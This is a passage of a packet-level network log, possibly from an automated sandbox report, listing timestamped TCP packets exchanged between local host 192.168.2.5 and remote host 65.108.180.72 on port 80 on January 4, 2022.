Jan 4, 2022 19:34:05.301141977 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301162958 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301163912 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301186085 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301204920 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301208019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301229954 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301251888 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301253080 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301275015 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301281929 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301297903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301318884 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301326036 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301342010 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301363945 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301367998 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301384926 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301393032 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301407099 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301429033 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301436901 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301450968 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301474094 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301476955 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301496029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301502943 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301518917 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301542044 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301542044 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301563025 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301582098 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301584959 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301606894 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301614046 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301628113 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301651001 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301652908 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301671982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301693916 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301695108 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301717997 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301721096 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301738977 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301760912 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301768064 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301783085 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301805019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301812887 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301826000 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301835060 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301847935 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301870108 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301877975 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301894903 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301918030 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301918983 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301940918 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301944017 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.301963091 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301984072 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.301987886 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302006960 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302027941 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302028894 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302052021 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302052975 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302073956 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302097082 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302098036 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302118063 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302140951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302143097 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302162886 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302170038 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302185059 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302207947 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302212000 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302232027 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302254915 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302256107 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302278042 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302279949 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302304029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302316904 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302326918 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.302349091 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.302383900 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.303188086 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.303251028 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322511911 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322551012 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322572947 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322593927 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322597027 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322622061 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322624922 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322643995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322665930 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322665930 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322689056 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322693110 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322710991 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322735071 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322737932 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322756052 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322777987 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322787046 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322799921 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322814941 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322823048 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322841883 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322844982 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322868109 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322876930 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322890043 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322911978 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322912931 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322935104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322957993 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322959900 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.322982073 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.322985888 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323003054 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323025942 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323038101 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323048115 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323071003 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323081017 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323096991 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323100090 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323117971 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323141098 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323143959 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323163033 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323184967 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323188066 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323206902 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323215008 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323229074 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323252916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323252916 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323275089 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323296070 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323297024 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323317051 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323327065 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323338032 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323359966 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323367119 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323381901 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323404074 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323410988 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323426008 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323437929 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323448896 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323471069 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323476076 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323493958 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323517084 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323517084 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323539972 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323543072 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323561907 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323582888 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323582888 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323605061 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323626041 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323626995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323647976 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323652983 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323669910 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323693037 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323700905 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323714018 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323736906 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323741913 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323759079 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323765993 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323781013 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323802948 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323812008 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323823929 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323847055 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323851109 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323868990 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323873997 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323890924 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323913097 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323918104 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323935032 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323956966 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323961973 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.323978901 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.323987007 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324001074 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324021101 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324035883 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324043036 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324064016 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324085951 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324085951 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324109077 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324111938 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324131012 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324153900 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324158907 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324176073 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324198008 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324206114 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324219942 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324229956 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324242115 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324265003 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324273109 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324285984 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324309111 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324316978 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324331999 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324352980 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324354887 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324376106 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324379921 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324398994 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324420929 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324424982 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324443102 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324465990 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324467897 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324490070 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324491024 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324498892 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324512005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324532986 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324537992 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324554920 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324575901 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324579000 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324599981 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324600935 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324621916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324640036 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324645996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324666977 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324676037 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324690104 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324712038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324712038 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324733973 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324754953 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324755907 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324776888 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324784994 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324798107 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324820995 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324821949 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324842930 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324867010 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324884892 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324887037 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324907064 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324928999 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324928999 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324950933 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324950933 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324973106 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.324975014 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.324995041 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325002909 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325017929 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325026035 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325040102 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325053930 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325062990 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325083971 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325094938 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325109005 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325130939 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325134039 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325153112 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325175047 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325176001 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325197935 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325200081 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325218916 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325242043 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325244904 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325263977 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325283051 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325285912 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325309038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325310946 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325330973 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325342894 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325352907 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325376034 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325378895 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325396061 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325417995 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325419903 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325440884 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325463057 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325463057 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325485945 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325488091 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325506926 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325530052 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325530052 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325551987 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325570107 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325573921 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325594902 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325596094 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325618029 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325637102 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325640917 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325663090 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325671911 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325685024 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325706005 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325707912 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325730085 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325743914 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325752020 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325771093 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325773954 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325795889 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325805902 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325818062 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325833082 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325839996 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325860977 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325875044 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325882912 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325901031 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325906038 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325927019 CET	80	49897	65.108.180.72	192.168.2.5
Jan 4, 2022 19:34:05.325933933 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.325961113 CET	49897	80	192.168.2.5	65.108.180.72
Jan 4, 2022 19:34:05.326894999 CET	49897	80	192.168.2.5	65.108.180.72
